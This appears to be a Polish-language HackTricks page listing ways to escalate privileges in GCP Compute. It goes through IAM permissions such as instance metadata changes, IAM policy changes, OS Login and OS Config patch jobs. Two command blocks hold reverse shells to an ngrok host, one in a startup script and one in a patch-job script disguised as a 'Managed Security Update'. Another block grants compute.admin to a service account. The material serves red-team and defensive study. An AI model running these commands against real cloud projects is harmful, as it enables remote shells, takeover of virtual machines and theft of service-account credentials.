GCP - Compute Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Compute

Aby uzyskać więcej informacji na temat Compute i VPC (sieci) w GCP, sprawdź:

GCP - Compute Enum

Caution

Zauważ, że aby przeprowadzić wszystkie ataki eskalacji uprawnień, które wymagają modyfikacji metadanych instancji (takich jak dodawanie nowych użytkowników i kluczy SSH), konieczne jest posiadanie uprawnień actAs do SA przypisanego do instancji, nawet jeśli SA jest już przypisane!

compute.projects.setCommonInstanceMetadata

Dzięki tym uprawnieniom możesz modyfikować informacje o metadanych instancji i zmieniać autoryzowane klucze użytkownika lub tworzyć nowego użytkownika z uprawnieniami sudo. W związku z tym będziesz mógł połączyć się przez SSH z dowolną instancją VM i ukraść GCP Service Account, z którym działa instancja.
Ograniczenia:

  • Zauważ, że GCP Service Accounts działające w instancjach VM domyślnie mają bardzo ograniczony zasięg
  • Będziesz musiał móc skontaktować się z serwerem SSH, aby się zalogować

Aby uzyskać więcej informacji na temat tego, jak wykorzystać te uprawnienia, sprawdź:

GCP - Add Custom SSH Metadata

Możesz również przeprowadzić ten atak, dodając nowy skrypt startowy i restartując instancję:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

To uprawnienie daje te same uprawnienia co poprzednie uprawnienie, ale dla konkretnych instancji zamiast całego projektu. Te same exploity i ograniczenia jak w poprzedniej sekcji mają zastosowanie.

compute.instances.setIamPolicy

Ten rodzaj uprawnienia pozwoli Ci przyznać sobie rolę z poprzednimi uprawnieniami i eskalować uprawnienia, nadużywając ich. Oto przykład dodania roles/compute.admin do konta usługi:

export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Jeśli OSLogin jest włączony w instancji, z tą uprawnieniem możesz po prostu uruchomić gcloud compute ssh [INSTANCE] i połączyć się z instancją. Nie będziesz miał uprawnień roota wewnątrz instancji.

Tip

Aby pomyślnie zalogować się z tym uprawnieniem wewnątrz instancji VM, musisz mieć uprawnienie iam.serviceAccounts.actAs dla SA przypisanego do VM.

compute.instances.osAdminLogin

Jeśli OSLogin jest włączony w instancji, z tą uprawnieniem możesz po prostu uruchomić gcloud compute ssh [INSTANCE] i połączyć się z instancją. Będziesz miał uprawnienia roota wewnątrz instancji.

Tip

Aby pomyślnie zalogować się z tym uprawnieniem wewnątrz instancji VM, musisz mieć uprawnienie iam.serviceAccounts.actAs dla SA przypisanego do VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Możliwe jest utworzenie maszyny wirtualnej z przypisanym Kontem Usługowym i kradzież tokena konta usługowego uzyskując dostęp do metadanych, aby eskalować uprawnienia do niego.

Skrypt exploitacyjny dla tej metody można znaleźć tutaj.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Jeśli masz uprawnienia osconfig.patchDeployments.create lub osconfig.patchJobs.exec, możesz utworzyć zadanie łatania lub wdrożenie. To umożliwi ci poruszanie się w poziomie w środowisku i uzyskanie wykonania kodu na wszystkich instancjach obliczeniowych w projekcie.

Zauważ, że w tej chwili nie potrzebujesz uprawnienia actAs dla SA przypisanego do instancji.

Jeśli chcesz ręcznie wykorzystać to, będziesz musiał utworzyć albo zadanie łatania lub wdrożenie.
Aby uruchomić zadanie łatania:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Aby wdrożyć wdrożenie poprawek:

gcloud compute os-config patch-deployments create <name> ...

Narzędzie patchy mogło być używane w przeszłości do wykorzystania tej błędnej konfiguracji (ale teraz nie działa).

Atakujący może również nadużyć tego dla utrzymania dostępu.

compute.machineImages.setIamPolicy

Przyznaj sobie dodatkowe uprawnienia do obrazu maszyny.

compute.snapshots.setIamPolicy

Przyznaj sobie dodatkowe uprawnienia do migawki dysku.

compute.disks.setIamPolicy

Przyznaj sobie dodatkowe uprawnienia do dysku.

Ominięcie Zakresów Dostępu

Podążając za tym linkiem znajdziesz kilka pomysłów na ominięcie zakresów dostępu.

Lokalna Eskalacja Uprawnień w instancji GCP Compute

GCP - local privilege escalation ssh pivoting

Odniesienia

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks